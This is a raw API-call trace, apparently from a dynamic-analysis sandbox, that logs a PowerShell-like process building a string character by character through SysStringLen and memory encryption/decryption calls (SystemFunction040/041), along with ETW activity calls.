[0129.810] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1PDz6ᬵŻ螛륉紲") returned 0x20 [0129.810] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.810] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x86b0\x1487\x349b\x9c1d\x3d25\x66cc\x9b75\x2aab") returned 0x20 [0129.810] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x86b0\x1487\x349b\x9c1d\x3d25\x66cc\x9b75\x2aab") returned 0x20 [0129.810] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.810] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1PDz6cŻ螛륉紲") returned 0x20 [0129.810] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.810] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x1d08\xe7c2\xac07\xc48f\xe17c\xdf9c\x1cc5\x4451") returned 0x20 [0129.810] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x1d08\xe7c2\xac07\xc48f\xe17c\xdf9c\x1cc5\x4451") returned 0x20 [0129.810] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.810] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1PDz6c+螛륉紲") returned 0x20 [0129.810] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.810] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\xd7e6\x3fce\x7618\xe99d\xb45e\xe043\x7060\x8e2b") returned 0x20 [0129.810] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\xd7e6\x3fce\x7618\xe99d\xb45e\xe043\x7060\x8e2b") returned 0x20 [0129.810] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.811] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1PDz6c+V륉紲") returned 0x20 [0129.811] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.811] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x9c2e\x2d8b\x9716\xf5a1\x9617\xafd4\xdc2f\x1dee") returned 0x20 [0129.811] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x9c2e\x2d8b\x9716\xf5a1\x9617\xafd4\xdc2f\x1dee") returned 0x20 [0129.811] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.811] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1PDz6c+VE紲") returned 0x20 [0129.811] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.811] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\xed6b\xb9cb\xfd02\xe834\xd20e\xbd63\x5981\xabe2") returned 0x20 [0129.811] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\xed6b\xb9cb\xfd02\xe834\xd20e\xbd63\x5981\xabe2") returned 0x20 [0129.811] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.811] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1PDz6c+VE7") returned 0x20 [0129.811] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.811] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x7a2b\x395f\xda9a\xc70e\x7e02\x65bc\x3d7d\x6632") returned 0x20 [0129.811] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x7a2b\x395f\xda9a\xc70e\x7e02\x65bc\x3d7d\x6632") returned 0x20 [0129.811] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.811] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1PDz6c+VE7P") returned 0x20 [0129.811] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.812] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843") returned 0x20 [0129.812] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843") returned 0x20 [0129.812] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843") returned 0x20 [0129.812] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\x02") returned 0x28 [0129.812] SystemFunction041 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.812] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1PDz6c+VE7Pt谬洹礪ﮎ䛳") returned 0x28 [0129.812] SystemFunction040 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.812] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\xfcec\x8618\xc4a1\x4dc7\x11f2\x8f44\xbe1c\x5ec6") returned 0x28 [0129.812] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\xfcec\x8618\xc4a1\x4dc7\x11f2\x8f44\xbe1c\x5ec6") returned 0x28 [0129.812] SystemFunction041 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.812] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1PDz6c+VE7Pta洹礪ﮎ䛳") returned 0x28 [0129.812] SystemFunction040 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.812] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\xc8a3\xf452\xb897\xc528\xc0d3\x6e34\xe773\x8cc4") returned 0x28 [0129.812] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\xc8a3\xf452\xb897\xc528\xc0d3\x6e34\xe773\x8cc4") returned 0x28 [0129.812] SystemFunction041 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.812] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1PDz6c+VE7Ptad洹礪ﮎ䛳") returned 0x28 [0129.812] SystemFunction040 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.813] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\x5b12\xc569\x57e1\x7662\x8a63\x78b5\xfd4e\x7b10") returned 0x28 [0129.813] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\x5b12\xc569\x57e1\x7662\x8a63\x78b5\xfd4e\x7b10") returned 0x28 [0129.813] SystemFunction041 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.813] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1PDz6c+VE7Ptadu洹礪ﮎ䛳") returned 0x28 [0129.813] SystemFunction040 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.813] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\x17cb\x8f5b\x8a53\x95b5\x5307\x7049\x61b1\x7e46") returned 0x28 [0129.813] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\x17cb\x8f5b\x8a53\x95b5\x5307\x7049\x61b1\x7e46") returned 0x28 [0129.813] SystemFunction041 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.813] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1PDz6c+VE7Ptaduf礪ﮎ䛳") returned 0x28 [0129.813] SystemFunction040 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.813] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\xa937\x33f5\x763e\x44e2\xac4e\xb49d\xc30e\xb0d8") returned 0x28 [0129.813] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\xa937\x33f5\x763e\x44e2\xac4e\xb49d\xc30e\xb0d8") returned 0x28 [0129.813] SystemFunction041 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.813] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1PDz6c+VE7Ptadufuﮎ䛳") returned 0x28 [0129.813] SystemFunction040 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.813] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\x3362\x4ed4\xc49d\xc5ef\xf206\x8680\xe8ac\xdf5e") returned 0x28 [0129.813] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\x3362\x4ed4\xc49d\xc5ef\xf206\x8680\xe8ac\xdf5e") returned 0x28 [0129.813] SystemFunction041 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.814] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1PDz6c+VE7Ptadufue䛳") returned 0x28 [0129.814] SystemFunction040 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.814] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\xacb8\xe66\x1035\x22ac\xee9\x2e9d\x96af\xcf00") returned 0x28 [0129.814] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\xacb8\xe66\x1035\x22ac\xee9\x2e9d\x96af\xcf00") returned 0x28 [0129.814] SystemFunction041 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.814] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1PDz6c+VE7Ptadufuep") returned 0x28 [0129.814] SystemFunction040 (in: Memory=0x4383574, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383574) returned 0x0 [0129.814] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\xb5b1\x1737\x8996\xb621\x46ec\x627a\x7342\x4c") returned 0x28 [0129.814] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\xb5b1\x1737\x8996\xb621\x46ec\x627a\x7342\x4c") returned 0x28 [0129.814] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\xb5b1\x1737\x8996\xb621\x46ec\x627a\x7342\x4c") returned 0x28 [0129.814] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\xb5b1\x1737\x8996\xb621\x46ec\x627a\x7342\x4c\x31\x78\x2e\x6d\x70\x33\x2e\x6c") returned 0x30 [0129.814] SystemFunction041 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0129.814] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1PDz6c+VE7Ptadufuepyၜ㖝ᅰ캨馍") returned 0x30 [0129.814] SystemFunction040 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0129.814] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\xb5b1\x1737\x8996\xb621\x46ec\x627a\x7342\x4c\x359f\x6a30\xe010\x890\xe9fc\x3bc7\x83b4\x36a1") returned 0x30 [0129.814] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\xb5b1\x1737\x8996\xb621\x46ec\x627a\x7342\x4c\x359f\x6a30\xe010\x890\xe9fc\x3bc7\x83b4\x36a1") returned 0x30 [0129.814] SystemFunction041 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0129.815] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1PDz6c+VE7PtadufuepyJ㖝ᅰ캨馍") returned 0x30 [0129.815] SystemFunction040 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0129.815] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\xb5b1\x1737\x8996\xb621\x46ec\x627a\x7342\x4c\x2de8\x6c96\x471\x88df\x2699\x4a30\x8442\x424b") returned 0x30 [0129.815] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\xb5b1\x1737\x8996\xb621\x46ec\x627a\x7342\x4c\x2de8\x6c96\x471\x88df\x2699\x4a30\x8442\x424b") returned 0x30 [0129.815] SystemFunction041 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0129.815] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1PDz6c+VE7PtadufuepyJY㖝ᅰ캨馍") returned 0x30 [0129.815] SystemFunction040 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0129.815] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\xb5b1\x1737\x8996\xb621\x46ec\x627a\x7342\x4c\x76ad\xb03f\x77ee\x6ae0\xf28e\x9afe\x4b60\xd288") returned 0x30 [0129.815] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x52bc\x1f58\x2037\x6598\x2743\x7858\x3a9\xb843\xb5b1\x1737\x8996\xb621\x46ec\x627a\x7342\x4c\x76ad\xb03f\x77ee\x6ae0\xf28e\x9afe\x4b60\xd288") returned 0x30 [0129.815] SystemFunction041 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0129.815] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1PDz6c+VE7PtadufuepyJY=㖝ᅰ캨馍") returned 0x30 [0129.815] SystemFunction040 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0129.815] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.815] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.815] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.816] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5fc, nSize=0x100 | out: lpBuffer="㡐犯瑔ڌ") returned 0x0 [0129.816] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9d4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.816] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae934*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae934*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.816] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.818] SysStringLen (param_1="") returned 0x8 [0129.818] SysStringLen (param_1="Y") returned 0x8 [0129.818] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.818] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0129.818] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0129.818] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.818] SysStringLen (param_1="YW") returned 0x8 [0129.818] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.818] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0129.818] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0129.818] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.818] SysStringLen (param_1="YWM") returned 0x8 [0129.818] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.818] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0129.818] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0129.818] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.819] SysStringLen (param_1="YWM1") returned 0x8 [0129.819] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.819] SysStringLen 